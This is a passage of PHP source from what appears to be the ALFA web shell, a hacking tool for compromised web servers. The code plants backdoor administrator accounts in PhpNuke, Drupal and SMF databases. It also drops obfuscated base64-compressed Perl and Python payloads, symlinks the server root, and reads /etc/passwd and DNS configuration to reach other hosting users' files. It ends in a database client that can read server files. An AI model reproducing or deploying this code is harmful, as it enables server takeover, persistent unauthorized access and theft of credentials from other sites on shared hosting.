echo __pre().'<center><div class="txtfont_header">| PhpNuke |</div><p><p>'.getConfigHtml('phpnuke').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa7'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5($pwd);
$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){
echo __pre().'<center><div class="txtfont_header">| Drupal |</div><p><p>'.getConfigHtml('drupal').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
$getDescuid = @mysqli_fetch_assoc($getDescuid);
$getDescuid = $getDescuid['uid'];
$getdescuid = $getDescuid++;
$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['uid'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){
echo __pre().'<center><center><div class="txtfont_header">| SMF |</div><p><p>'.getConfigHtml('smf').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$setpwAlg = sha1(strtolower($admin) . 'solevisible');
$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
echo "</div>";
alfafooter();
}
function alfaMakePwd(){
if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){
return "/home/{user}/public_html/";
}
$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
$public = end($document);
array_pop($document);
array_pop($document);
$path = implode("/", $document) . "/{user}/" . $public;
return $path;
}
function alfaGetDomains($state = false){
$state = "named.conf";
$lines = array();
$lines = _alfa_file('/etc/named.conf');
if(!$lines){
$lines = @scandir("/etc/valiases/");
$state = "valiases";
if(!$lines){
$lines = @scandir("/var/named");
$state = "named";
if(!$lines && $state){
$lines = _alfa_file('/etc/passwd');
$state = "passwd";
}
}
}
return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder(){
$parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
if(!@is_dir($parent)){
@mkdir($parent, 0755, true);
}
}
function alfasymlink(){
alfahead();
AlfaNum(9,10);
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
if(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST["alfa2"]=="sympy")){
$sympath = alfaMakePwd();
@mkdir('cgialfa',0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$perl = '#!/usr/bin/perl -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;my $alfa_data="'.__ALFA_DATA_FOLDER__.'";eval(Compress::Zlib::memGunzip(decode_base64("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")));';
$py = '#!/usr/bin/python'."\nimport zlib, base64\nalfa_data='".__ALFA_DATA_FOLDER__."'\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
$cginame = "symperl.alfa";
$source = $perl;
$lang = "perl";
if($_POST["alfa2"]=="sympy"){
$cginame = "pysymlink.alfa";
$source = $py;
$lang = "python";
}
@__write_file($cginame,$source);
@chmod($cginame,0755);
echo __pre();
$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);
if(strlen($resource) == 0){
echo AlfaiFrameCreator('cgialfa/'.$cginame);
}else{
echo $resource;
}
}
if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){
if(function_exists('symlink')||_alfa_can_runCommand(true,true)){
AlfaNum(9,10);
echo __pre().'
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
$path = $_POST['alfa5'];
$symname = $_POST['alfa6'];
$solevisible58 = $_POST['alfa7'];
if($solevisible58){
$new_name = str_replace(".", "_", basename($symname));
$rand_dir = $new_name.rand(111,9999);
$sym_dir = 'alfasymlinkphp/'.$rand_dir.'/';
@mkdir($sym_dir, 0777, true);
alfacgihtaccess('sym', $sym_dir, $symname);
_alfa_symlink("$path","$sym_dir/$symname");
echo __pre();
echo '<center><b><font color="white">Click >> </font><a target="_blank" href="'.__ALFA_DATA_FOLDER__."/".$sym_dir.'" ><b><font size="4">'.$symname.'</font></b></a></b></center>';
}
}else{echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
}
if(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){
$cant_symlink = true;
if(function_exists('symlink')||_alfa_can_runCommand(false,false)){
@mkdir('alfasymlink',0777);
alfacgihtaccess('sym','alfasymlink/');
_alfa_symlink('/','alfasymlink/root');
$table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){
echo "<center>";
$lines = array();
$anony_domains = array();
$anonymous_users = array();
$f_black = array();
$error = false;
$anonymous = false;
$makepwd = "/home/{user}/public_html/";
$domains = alfaGetDomains();
$lines = $domains["lines"];
$state = $domains["state"];
$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
$can_runcmd = _alfa_can_runCommand(false,false);
if(!$is_posix && !$can_runcmd){
$anonymous = true;
$anony_domains = $domains["lines"];
$lines = _alfa_file('/etc/passwd');
}
echo $table_header;
$count=1;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
foreach($lines as $line){
$domain = "";
$owner = "";
if($anonymous){
$explode = explode(":", $line);
$owner = $explode[0];
$owner_len = strlen($owner) - 1;
$userid = $explode[2];
if((int)$userid < 500)continue;
$domain = "[?????]";
$temp_black = array();
$finded = false;
foreach($anony_domains as $anony){
if($state == "named.conf"){
if(@strstr($anony, 'zone')){
preg_match_all('#zone "(.*)"#',$anony, $data);
$domain = $data[1][0];
}else{
continue;
}
}elseif($state == "named" || $state == "valiases"){
if($anony == "." || $anony == "..")continue;
if($state == "named")$anony = rtrim($anony, ".db");
$domain = $anony;
}
$sub_domain = str_replace(array("-","."), "", $domain);
if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
if(in_array($owner.$domain, $temp_black))continue;
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "http://".$domain;
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
$count++;
$temp_black[] = $owner.$domain;
$finded = true;
}
}
if(!$finded){
$anonymous_users[] = $owner;
}
}else{
if($state == "named.conf"){
if(@strstr($line, 'zone')){
preg_match_all('#zone "(.*)"#',$line, $data);
$domain = $data[1][0];
}else{
continue;
}
}elseif($state == "named" || $state == "valiases"){
if($line == "." || $line == "..")continue;
if($state == "named")$line = rtrim($line, ".db");
$domain = $line;
}
if(strlen(trim($domain)) > 2 && $state != "passwd"){
if(!_alfa_file_exists('/etc/valiases/'.$domain, false))continue;
if($is_posix){
$user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain));
$owner = $user["name"];
}elseif($can_runcmd){
$owner = alfaEx("stat -c '%U' /etc/valiases/".$domain,false,false);
}
}
}
if(!$anonymous){
if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "http://".$domain;
if($state == "passwd"){
$http = "javascript:alert('we cant find domain...')";
}
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
$count++;
$f_black[] = $owner.$domain;
}
}
if($anonymous){
foreach($anonymous_users as $owner){
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "javascript:alert('we cant find domain...')";
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
$count++;
}
}
$cant_symlink = false;
}else{
$is_direct = false;
$makepwd = alfaMakePwd();
if(_alfa_file_exists("/etc/virtual/domainowners")){
$makepwd = "/home/{user}/public_html";
$is_direct = true;
}
$sole = _alfa_file("/etc/virtual/domainowners");
$count=1;
echo $table_header;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
if($sole){
foreach($sole as $visible){
if(@strstr($visible,":")){
$solevisible = explode(':', $visible);
$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
}
}
}else{
$passwd = _alfa_file("/etc/passwd");
if($passwd){
$html = "";
$is_named = false;
$users = array();
$domains = array();
$uknowns = array();
foreach($passwd as $user){
$user = trim($user);
$expl = explode(":", $user);
if((int)$expl[2] < 500)continue;
$users[$expl[0]] = $expl[5];
}
$site_domains = @scandir("/etc/virtual/");
if(!$site_domains){
$site_domains = alfaEx("ls /etc/virtual/");
$site_domains = explode("\n", $site_domains);
if(!$site_domains){
$site_domains = _alfa_file("/etc/named.conf");
if($site_domains){$is_named = true;}
}
}
foreach($site_domains as $line){
if($is_named){
if(@strstr($line, 'zone')){
preg_match_all('#zone "(.*)"#',$line, $data);
$domain = $data[1][0];
if(strlen($domain > 2) && !empty($domain)){
$domains[] = $domain;
}
}
}else{
$domains[] = $line;
}
}
$x = 1;
foreach($users as $user => $home){
foreach($domains as $domain){
$user_len = strlen($user) - 1;
$sub_domain = str_replace(array("-","."), "", $domain);
$five_user = substr($user, 0,$user_len);
$five_domain = substr($sub_domain, 0,$user_len);
if($five_user == $five_domain){
if($is_direct){
$cwd = str_replace("{user}", $user, $makepwd);
}else{
$expl = explode("}/", $makepwd);
$cwd = $home."/".$expl[1];
}
$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
}else{
$uknowns[$user] = $home;
}
}
}
$uknowns = array_unique($uknowns);
foreach($uknowns as $user => $home){
if($is_direct){
$cwd = str_replace("{user}", $user, $makepwd);
}else{
$expl = explode("}/", $makepwd);
$cwd = $home."/".$expl[1];
}
$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
}
echo($html);
}
}
echo "</table>";
$cant_symlink = false;
}
}else{
echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
$cant_symlink = false;
}
if($cant_symlink)echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
echo "</center></table>";
}
echo "</div>";
alfafooter();
}
function alfasql(){
class DbClass{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type){
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type){
case 'mysql':
if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
return true;
}else{
$this->mysqli_connect_error = true;
$this->mysqli_connect_error_msg = mysqli_connect_error();
return false;
}
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case 'mysql':
if(@mysqli_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case 'mysql':
return $this->res = @mysqli_query($this->link,$str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case 'mysql':
return @mysqli_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error(){
switch($this->type){
case 'mysql':
return @mysqli_error($this->link);
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysqli_set_charset($this->link,$str);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
